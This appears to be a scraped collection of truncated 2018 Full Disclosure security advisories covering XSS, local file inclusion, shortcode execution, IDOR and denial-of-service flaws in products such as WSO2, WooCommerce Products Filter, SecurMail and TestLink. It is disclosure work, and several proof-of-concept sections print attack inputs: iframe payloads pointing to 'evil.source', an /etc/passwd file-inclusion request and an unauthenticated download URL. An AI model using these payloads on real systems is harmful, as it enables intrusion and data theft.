vulnerable to the reported vulnerability. The contact also stated that the vulnerability will be fixed until the end of March. Requested more information regarding version numbers and other affected devices. 2018-02-23: Contact confirmed that the devices are vulnerable in firmware version 4.30 and before. 2018-03-21: Contact informed us that the new firmware version will be ZLD 4.31 and that it will be released on 2018-04-17. Shifted release of advisory to 2018-04-17. 2018-04-12: Informed the contact that the advisory will be released in few days. 2018-04-17: Asked the vendor if ZLD 4.31 was released. Didn't find the new version on the customer portal. E-mail was blocked and returned. 2018-04-18: Found the new version (ZLD 4.31) on the customer portal. 2018-04-24: Advisory release. Solution: - Install firmware version ZLD 4.31 from the vendor's website to fix this issue: https://www.zyxel.com/support/download_landing.shtml Workaround: --- Restrict network access to the device. Advisory URL: - https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asi
[FD] SEC Consult SA-20180423-0 :: Multiple Stored XSS Vulnerabilities in WSO2 Carbon and Dashboard Server
SEC Consult Vulnerability Lab Security Advisory < 20180423-0 > === title: Multiple Stored XSS Vulnerabilities product: WSO2 Carbon, WSO2 Dashboard Server vulnerable version: WSO2 Identity Server 5.3.0 fixed version: WSO2 Identity Server 5.5.0 CVE number: CVE-2018-8716 impact: high homepage: https://wso2.com/products/dashboard found: 2017-12-13 by: W. Schober (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "WSO2 Carbon redefines middleware by providing an integrated and componentized middleware platform that adapts to the specific needs of any enterprise IT project - on premise or in the cloud. 100% open source and standards-based, WSO2 Carbon enables developers to rapidly orchestrate business processes, compose applications and develop services using WSO2 Developer Studio and a broad range of business and technical services that integrate with legacy, packaged and SaaS applications. The lean, complete, OSGi-based platform includes more than 175 components – OSGi bundles or Carbon features. The WSO2 Carbon core framework functions as “Eclipse for servers” and includes common capabilities shared by all WSO2 products, such as built-in registry, user management, transports, security, logging, clustering, caching and throttling services, co-ordination, and a GUI framework." Source: https://wso2.com/products/carbon/ "The WSO2 Dashboard Server (formerly WSO2 User Engagement Server) helps to rapidly create visually appealing and engaging web components such as dashboards, and gadgets, and unlocking data for business intelligence and monitoring. With the host of capabilities that Dashboard Server provides out-of-the-box, going from data to screen has never been easier." Source: https://wso2.com/products/dashboard-server/ Business recommendation: SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues. Vulnerability overview/description: --- 1) Stored Cross-Site Scripting in WSO2 Dashboard (CVE-2018-8716) The dashboard is used by the end-users to manage their accounts, change passwords, alter their profiles, or change certain settings. An attacker is able to inject arbitrary JavaScript payloads into various textboxes (username, home address, lastname, firstname, etc). The payloads are permanently stored in the dashboard and triggered every time the dashboard is visited. The payload is also potentially triggered in the carbon part of WSO2, which means that an attacker would be able to inject payloads from the front-end application into a middleware application, which is not accessible from the internet and attack administrators. 2) Stored Cross-Site Scripting in WSO2 Carbon The carbon UI offers a feature to add multiple BPS-Worker Hosts. In the worker host URL an arbitrary JavaScript payload can be injected and permanently stored in the web application. Proof of concept: - 1) Stored Cross-Site Scripting in WS02 Dashboard The following input fields are vulnerable and JavaScript payloads can be directly injected: - Firstname - Lastname - Username - Address It is suspected, that all user inputs are returned unfiltered in all server responses. 2) Stored Cross-Site Scripting in WSO2 Carbon To demonstrate the vulnerability, it is sufficient to add a new BPS worker and set the URL to the following payload: "> Everytime the carbon middleware application is accessed, the payload is triggered. Vulnerable / tested versions: - The following version has been tested which was the most recent version at the time of discovery: * WSO2IS 5.3.0 Vendor contact timeline: 2018-01-25: Contacting vendor through secur...@wso2.com 2018-02-08: Asking for status update. Vendor responds, that they are still investigating the issue. 2018-02-21: Vendor responds with release date and further details concerning the nature of the vulnerabilities. The XSS in the Carbon component was a duplicate and should be already fixed. Concerning the XSS in the dashboard a fix is implemented and will be rolled out with the release of WSO2 Identity Server 5.5.0. 2018-03-14: Requesting CVE from Mitre for the stored XSS in the Dashboard. 2018-03-15: Mitre assigned CVE-2018-8716. 2018-03-26: Vendor informed us, that the final release of the updated software will be o
[FD] Microsoft Skype Mobile v81.2 & v8.13 - Remote Denial of Service Vulnerability
ching inside by a resize of the image (view demo vide) 8. Now the message with the smilies must be quoted or copied and then transfered to any other skype input field were smilies are supported 9. Pasting around 50 of them results in an unexpected memory errors and uncaught exceptions or access violations Note: Tested for Android Samsung and Apple iOS. The resize of the larger image results in a memory corruption 10. Successful reproduce of the vulnerability! PoC Video: Shows the local issue and the remote triggered bug ... https://www.youtube.com/watch?v=2vcdQb98zE0 Solution - Fix & Patch: === Secure memory allocation when resizing emoticons images during rendering in transfers through the skype mobile software client. Microsoft resolved the vulnerability and prepared an updated version v8.17 & v8.18. In both versions the security issue is known as patched. Security Risk: == The security risk of the vulnerability in the skype mobile software client for ios and android is estimated as medium (cvss 4.7). Credits & Authors: == Benjamin Kunz Mejri [resea...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains:www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Section:magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Sandoba CP:Shop CMS v2016.1 - Multiple Cross Site Scripting Vulnerabilities
r[https://cpshop.localhost:8080admin.php] Cookie[shop_userkey=afb404c7622db6ced7a120e8e4e24505; log_data=DEMOADMINSHOP; PHPSESSID=03f32863066e90b45f109d7b1d5a0b5e; language=de; cookieconsent_dismissed=yes] Connection[keep-alive] Response Header: server[Apache/2.4.27] x-powered-by[PHP/7.0.20] expires[Thu, 19 Nov 1981 08:52:00 GMT] cache-control[no-store, no-cache, must-revalidate] pragma[no-cache] x-frame-options[SAMEORIGIN] content-encoding[gzip] set-cookie[language=de; expires=Tue, 20-Feb-2018 13:00:40 GMT; Max-Age=259200; path=/] content-type[text/html; charset=utf-8] X-Firefox-Spdy[h2] - Status: 302[Found] GET https://cpshop.localhost:8080/evil.source Mime Type[text/html] Request Header: Host[cpshop.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate, br] Referer[https://cpshop.localhost:8080admin.php] Cookie[shop_userkey=afb404c7622db6ced7a120e8e4e24505; log_data=DEMOADMINSHOP; PHPSESSID=03f32863066e90b45f109d7b1d5a0b5e; language=de; cookieconsent_dismissed=yes] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: server[Apache/2.4.27] location[http://cpshop.localhost:8080] content-length[296] content-type[text/html; charset=iso-8859-1] X-Firefox-Spdy[h2] - Status: pending[] GET http://cpshop.localhost:8080/cpshop/admin.php?file=news&clean=yes&ajax=yes&form%5Bsearch%5D= http%3A%2F%2Fcpshop.localhost:8080%2Fcpshop%2Fadmin.php%3Fform%255Bsearch%255D%3D%2522%253E%253Ciframe%2Bsrc%253Devil.source%2B onl&form%5Bvar%5D=1&form%5Bposter%5D=0&form%5Bcategory%5D=0&file=news Mime Type[unknown] Request Header: Host[cpshop.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Referer[http://cpshop.localhost:8080/cpshop/admin.php] Cookie[log_data=DEMOADMINCMS; PHPSESSID=aa820d024a8b72f3a57e12e72cc63bb6; language=de] DNT[1] - 14:06:37.847[179ms][total 538ms] Status: 200[OK] GET http://cpshop.localhost:8080/cpshop/admin.php?form%5Bsearch%5D=http%3A%2F%2Fcpshop.localhost:8080%2Fcpshop%2Fadmin.php%3Fform%255Bsearch%255D%3D%2522%253E%253Ciframe%2Bsrc%253Devil.source%2Bonl&form%5Bvar%5D=1&form%5Bposter%5D=0&form%5Bcategory%5D=0&file=news Mime Type[text/html] Request Header: Host[cpshop.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://cpshop.localhost:8080/cpshop/admin.php] Cookie[log_data=DEMOADMINCMS; PHPSESSID=aa820d024a8b72f3a57e12e72cc63bb6; language=de] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache/2.4.27] X-Powered-By[PHP/7.0.20] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate] Pragma[no-cache] X-Frame-Options[SAMEORIGIN] Content-Encoding[gzip] Set-Cookie[language=de; expires=Tue, 20-Feb-2018 13:06:37 GMT; Max-Age=259200; path=/] Upgrade[h2c] Connection[Upgrade, Keep-Alive] Keep-Alive[timeout=5, max=100] Transfer-Encoding[chunked] Content-Type[text/html; charset=utf-8] Reference(s): http://cpshop.localhost:8080/cpshop/admin.php?form%5Bsearch%5D= http://cpshop.localhost:8080/cpshop/admin.php#!file=help&mode=search&search= https://cpshop.localhost:8080/cpshop/admin.php#!file=files&mode=rename_dir&form[dir]=fancybox&form[path]= http://cpshop.localhost:8080/cpshop/admin.php?form[search]=https://www.test.de#!file=files&mode=rename_dir&form[dir]= https://cpshop.localhost:8080/cpshop/admin.php#!file=files&mode=rename_dir&form[dir]= Solution - Fix & Patch: === The cross site vulnerabilities can be resolved by implementation of htmlentities and a secure input restriction of characters. Security Risk: == The security risk of the client-side cross site scripting web vulnerabilities in the web-application are estimated as medium (cvss 3.4). Credits & Authors: == Vulnerability-Lab [resea...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerabil
[FD] Weblication CMS Core & Grid v12.6.24 - Multiple Cross Site Scripting Vulnerabilities
024.000] Connection[keep-alive] Upgrade-Insecure-Requests[1] POST-Daten: action[editOptionsProject] path[%2Fimg-src-x-img-img-src-x-img-] title[%22%3E%3Ciframe+src%3D%22evil.source%22+onload%3Dalert%28document.domain%29%3E%2520% 22%3E%3Ciframe+src%3D%22evil.source%22+onload%3Dalert%28document.cookie%29%3E] pathProjectGlobal[%2Fdefault-wGlobal] pathProjectLayout[] language[br] projectConnect[%2Fimg-src-x-img-img-src-x-img-] hostOnly[] pageOffline[%2Fimg-src-x-img-img-src-x-img-%2FwGlobal%2Fcontent%2Ferrordocs%2Foffline.php] permissionDenied[%2Fimg-src-x-img-img-src-x-img-%2FwGlobal%2Fcontent%2Ferrordocs%2Fpermission-denied.php] W_PRETMP_groups%5B%5D[%5BW_ID%5D] backupGroup[] Response Header: Server[Apache/2.4.27] X-Powered-By[PHP/7.0.20] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate] Vary[Accept-Encoding] Keep-Alive[timeout=5, max=100] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=UTF-8] - Status: 200[OK] GET https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img- Mime Type[text/html] Request Header: Host[grid.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[https://grid.localhost:8080/weblication/grid5/apps/wEditorWd8/index.php?action=showfileedit&path=/default-wGlobal/ wGlobal/content/variables/default.wVariables.php&target=be&referrer=/de/index.php&display=default&editsource=&hasPlaceholdersToInsert=0] Cookie[WSESSIONID=2a3af57351f0a4ea3cbdd39ac5763954; wCc=1; lastCheckUpdate=1518869664242; lastVersion=012.006.024.000] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache/2.4.27] X-Powered-By[PHP/7.0.20] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate] Pragma[no-cache] Content-Encoding[gzip] Vary[Accept-Encoding] Keep-Alive[timeout=5, max=97] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=UTF-8] - Status: 200[OK] GET https://grid.localhost:8080/weblication/grid5/scripts/wEventmanager.php?action=showEvents&path=/img-src-x-img-img-src-x-img-&type=project&target=embed Mime Type[text/html] Request Header: Host[grid.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img-] Cookie[WSESSIONID=2a3af57351f0a4ea3cbdd39ac5763954; wCc=1; lastCheckUpdate=1518869664242; lastVersion=012.006.024.000] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache/2.4.27] X-Powered-By[PHP/7.0.20] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate] Pragma[no-cache] Keep-Alive[timeout=5, max=96] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=UTF-8] Reference(s): https://grid.localhost:8080/ https://grid.localhost:8080/weblication/ https://grid.localhost:8080/weblication/grid5/ https://grid.localhost:8080/weblication/grid5/scripts/ https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php Solution - Fix & Patch: === The vulnerability can be resolved by a sanitize of the delivered input through the wFilemanager.php file. Parse in the output location the execution point in the Inhaltsprojekte to resolve the issue. Security Risk: == The security risk of the persistent cross site scripting vulnerability in the web-application is estimated as medium (cvss 3.5). Credits & Authors: == Benjamin K.M. [resea...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some s
[FD] AEF CMS v1.0.9 - (PM) Persistent Cross Site Scripting Vulnerability
;ucpact=sendsaved&pmid=1] Cookie[AEFCookies1526[aefsid]=jmik0sqtslneqffjl537i931brqh3tzr; AEFCookies8381[aefsid]=x1m0rs9lhcl6hl3tbq7qbdh9jn0xsnsf] Connection[keep-alive] Upgrade-Insecure-Requests[1] POST-Daten: pmrecipients[admin] pmsubject[test] pmbody[This+is+a+private+test+message+with+payload+in+the+ftp+link%0D%0A%0D%0A] postcode[yerudyyk4joz8ea5] pmsaveinsentitems[on] sendpm[Send+PM] Response Header: Server[Apache] X-Powered-By[PHP/5.4.45] Content-Length[217] Content-Type[text/html; charset=ISO-8859-1] - Status: 200[OK] GET https://aeforums.localhost:8000/AEF/evil.source Mime Type[text/html] Request Header: Host[aeforums.localhost:8000] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[https://aeforums.localhost:8000/AEF/index.php?act=usercp&ucpact=sendsaved&pmid=1] Cookie[AEFCookies1526[aefsid]=jmik0sqtslneqffjl537i931brqh3tzr; AEFCookies8381[aefsid]=x1m0rs9lhcl6hl3tbq7qbdh9jn0xsnsf] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache] Accept-Ranges[bytes] Content-Length[431] Content-Type[text/html; charset=UTF-8] Reference(s): https://aeforums.localhost:8000/AEF/ https://aeforums.localhost:8000/AEF/index.php Solution - Fix & Patch: === The security vulnerability can be patched by a sanitize of the ftp link element input field in the private message module. Parse in the editor the output location for the link to prevent the execution point of the issue. Security Risk: == The security risk of the persistent cross site scripting web vulnerability in the open-source web-application is estimated as medium (cvss 4.4). Credits & Authors: == Benjamin K.M. [resea...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] SEC Consult SA-20180314-0 :: Arbitrary Shortcode Execution & Local File Inclusion in WooCommerce Products Filter (PluginUs.Net)
SEC Consult Vulnerability Lab Security Advisory < 20180314-0 > === title: Arbitrary Shortcode Execution & Local File Inclusion product: WOOF - WooCommerce Products Filter (PluginUs.Net) vulnerable version: 1.1.9 fixed version: 2.2.0 CVE number: (requested but not yet received) impact: Critical homepage: https://pluginus.net/ found: 2018-02-20 by: Ahmad Ramadhan Amizudin (Office Kuala Lumpur) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "PluginUs.Net is a little team of talented professionals from Ukraine. Unlike most of the big companies on the net, we believe in individual approach to every our customer. Web development is our passion and we always try to go an extra mile over our clients' expectations. Our team specializes in development of WordPress plugins. It's always exciting to try new technologies and approaches to get the project done and impress clients by realization of their ideas!" Source: https://pluginus.net/about-us/ Business recommendation: SEC Consult recommends to ugprade to the latest version available as soon as possible. Further detailed security tests should be performed in order to identify potential other security issues. Vulnerability overview/description: --- 1. Arbitrary Shortcode Execution The plugin implemented a page redraw AJAX function accessible to anyone without any authentication. WordPress shortcode markup in the "shortcode" parameters would be evaluated. Normally unauthenticated users can't evaluate shortcodes as they are often sensitive. Additionally, it is noted that there are other implemented shortcodes that are being used in this plugin which can be abused through the same attack. Worst, some of them could lead to remote code execution. 2. Local File Inclusion The vulnerability is due to the lack of args/input validation on render_html before allowing it to be called by extract(), a PHP built-in function. Because of this, the supplied args/input can be used to overwrite the $pagepath variable which then could lead to local file inclusion attack. Proof of concept: - 1. Arbitrary Shortcode Execution The parameter "shortcode" within the "admin-ajax.php" script is affected by the code execution vulnerability: POST /wp-admin/admin-ajax.php HTTP/1.1 [...] action=woof_redraw_woof&shortcode=<> 2. Local File Inclusion The parameter "shortcode" within the "admin-ajax.php" script is affected by the local file inclusion vulnerability: POST /wp-admin/admin-ajax.php HTTP/1.1 [...] action=woof_redraw_woof&shortcode=woof_search_options pagepath=/etc/passwd Vulnerable / tested versions: - PluginUs.Net WooCommerce Products Filter version 1.1.9 has been tested and found to be vulnerable. Vendor contact timeline: 2018-02-20: Contacting vendor through realmag...@gmail.com 2018-02-20: Vendor agreed to proceed without encrypted channel 2018-02-21: Sent security advisory to vendor 2018-02-26: Vendor sent patch containing the fixes 2018-02-26: Informed vendor the patch doesn't fully mitigate the vulnerability 2018-03-12: Request update from vendor 2018-03-12: Vendor said they already published the patch 2018-03-14: Public release of security advisory Solution: - The vendor provides an updated version and users are urged to upgrade to version 2.2.0 immediately: https://www.woocommerce-filter.com/update-woocommerce-products-filter-v-2-2-0/ Workaround: --- None Advisory URL: - https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~ Interested to work with the experts of SEC Consult? Send us your applicatio
[FD] PayPal Inc Increases Bug Bounty Payments in 2018 up to 30.000$
Title: PayPal Inc Increases Bug Bounty Payments in 2018 up to 30.000$ URL: https://www.vulnerability-db.com/?q=articles/2018/03/13/paypal-inc-increases-bug-bounty-payments-2018-3 #bugbounty #security #research #infosec -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] PayPal Inc - New Venmo Bug Bounty Program
Title: PayPal Inc - New Venmo Bug Bounty Program URL: https://www.vulnerability-db.com/?q=articles/2018/02/27/paypal-inc-updates-bug-bounty-program-venmo-payments-services -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] SEC Consult SA-20180312-0 :: Multiple Critical Vulnerabilities in SecurEnvoy SecurMail
SEC Consult Vulnerability Lab Security Advisory < 20180312-0 > === title: Multiple Critical Vulnerabilities product: SecurEnvoy SecurMail vulnerable version: 9.1.501 fixed version: 9.2.501 or hotfix patch "1_012018" CVE number: CVE-2018-7701, CVE-2018-7702, CVE-2018-7703, CVE-2018-7704, CVE-2018-7705, CVE-2018-7706, CVE-2018-7707 impact: Critical homepage: https://www.securenvoy.com/ found: 2017-11 by: W. Ettlinger (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "Sending and receiving encrypted emails is not an easy or simple experience. Businesses rely on email with an increasing amount of sensitive data sent across their networks. A revolutionary approach that doesn't suffer from the overheads of deployment and encryption management; just rock-solid security to give you 100% confidence in your business communications." URL: https://www.securenvoy.com/products/securmail/key-features.shtm Business recommendation: During a brief crash test of the SecurEnvoy SecurMail application several severe vulnerabilities have been identified that break the core security promises of the product. These vulnerabilities open the possibility for several different attack scenarios that allow an attacker to read other users' encrypted e-mails and overwrite or delete e-mails stored in other users' inboxes. As we have identified several critical vulnerabilities within a very short time frame we expect numerous other vulnerabilities to be present. As other SecureEnvoy products (besides the analyzed SecurMail) appear to be highly integrated (all products are installed with a single setup file) we suspect other components to also suffer from severe security deficits. We recommend not to use SecurEnvoy products (especially SecurMail) in a production environment until: * a comprehensive security audit has been performed and * state of the art security mechanisms have been adopted. Vulnerability overview/description: --- 1) Cross Site Scripting (CVE-2018-7703, CVE-2018-7707) SEC Consult did not find any functionality that encodes user input when creating HTML pages. Therefore persistent and reflected cross site scripting attacks are possible throughout the application. Some pages fail to properly decode URL encoded parameters. Because of this, cross site scripting cannot be exploited on these pages in most browsers. 2) Path Traversal (CVE-2018-7705, CVE-2018-7706) SEC Consult did not find any path traversal checks throughout the application. Since the application uses encrypted files as the primary method of data storage, this vulnerability can be exploited at several points. Using this vulnerability, a legitimate recipient can read mails sent to other recipients in plain text! 3) Insecure Direct Object Reference (CVE-2018-7704) Authorization checks are only partially implemented. This allows a legitimate recipient to read mails sent to other users in plain text. 4) Missing Authentication and Authorization (CVE-2018-7702) In order to send encrypted e-mails a client does not need to authenticate on the SecurEnvoy server. Therefore anyone with network access to the server can arbitrarily send e-mails that appear to come from an arbitrary sender address. Moreover, an attacker with network access to the server can re-send previous communication to arbitrary recipients. This allows him/her to extract all e-mails stored on the server. An attacker could also modify arbitrary messages stored on the server. 5) Cross Site Request Forgery (CVE-2018-7701) SEC Consult did not find any protection against cross site request forgery. An attacker could use this vulnerability to delete a victim's e-mail or to impersonate the victim and reply to his/her e-mails. Since these vulnerabilities were found during a very short time frame, SEC Consult believes that the product may contain a large number of other security vulnerabilities. As already several core security promises have been broken during this short crash test, no further tests were conducted. Proof of concept: - 1) Cross Site Scripting a) The following HTML fragments demonstrates reflected cross site scripting (CVE-2018-7703): --- snip --- --- snip --- b) E-mails that are sent using the HTML format can contain any
[FD] SEC Consult SA-20180228-0 :: Insecure Direct Object Reference vulnerability in TestLink Open Source Test Management
SEC Consult Vulnerability Lab Security Advisory < 20180228-0 > === title: Insecure Direct Object Reference product: TestLink Open Source Test Management vulnerable version: <1.9.17 fixed version: 1.9.17 (after November 2017), and the current "testlink_1_9" branch CVE number: - impact: Medium homepage: http://testlink.org/ found: 2017-09-22 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal Moscow - Munich - Kuala Lumpur - Singapore Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "TestLink is a web based test management and test execution system. It enables quality assurance teams to create and manage their test cases as well as to organize them into test plans. These test plans allow team members to execute test cases and track test results dynamically." Source: https://github.com/TestLinkOpenSourceTRMS/testlink-code Business recommendation: SEC Consult advises to immediately install the available updates as attackers might gain access to sensitive data belonging to other users. A thorough security review performed by security professionals is highly recommended in order to identify potential further security deficiencies. Vulnerability overview/description: --- 1) Insecure Direct Object Reference An unauthenticated user can gain access to referenced files which are produced by different test cases. By using a simple ID iterator, all produced output data can be gathered from the whole system. The actual impact strongly depends on the classification of the produced data which is referenced. Therefore, the risk can vary from low to critical depending on the use case. Proof of concept: - 1) Insecure Direct Object Reference An unauthenticated attacker can download data from the TestLink environment by using the following url: http:///lib/attachments/attachmentdownload.php?skipCheck=1&id= The tag specifies the target address and can also include a sub- folder where the hosted TestLink application is located. Vulnerable / tested versions: - The following versions have been tested and are vulnerable. It is assumed that older versions are affected as well, e.g.: * 1.9.16 * 1.9.15 * 1.9.14 Vendor contact timeline: 2017-10-18: Contacting vendor through http://mantis.testlink.org Vendor requested the information. 2017-10-19: Asked if the advisory should be uploaded to mantis directly. 2017-10-21: Contact agreed. 2017-10-23: Uploaded the advisory to mantis. 2017-11-01: Contact provided a fix for 1.9.16. Fixes will be created for 1.9.15 and 1.9.14 too. Vendor asked us for verification. 2017-11-07: Stated that verification is not possible at the moment (no test instance) and that it can be verified easily with the PoC 2018-01-09: Asked for status update; No answer. 2018-01-29: Asked for status update; No answer. 2018-02-16: Asked for status update. 2018-02-17: Vendor responded that we can re-check the fix or release the advisory. 2018-02-19: Asked the vendor for reachable test-instance, reply: there is no test instance 2018-02-28: Public release of security advisory Solution: - Check-out the current testlink-code on branch "testlink_1_9": https://github.com/TestLinkOpenSourceTRMS/testlink-code/tree/testlink_1_9/ The following commit contains the fix since 2017-11-01: https://github.com/TestLinkOpenSourceTRMS/testlink-code/commit/d5ffdb7634e43ba352e9567333682b6436cfb43d Upgrade to 1.9.17 (after November 2017). Workaround: --- Restrict network access and do not expose the TestLink interface to the internet. Advisory URL: ----- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal Moscow - Munich - Kuala Lumpur - Singapore Vienna (HQ) - 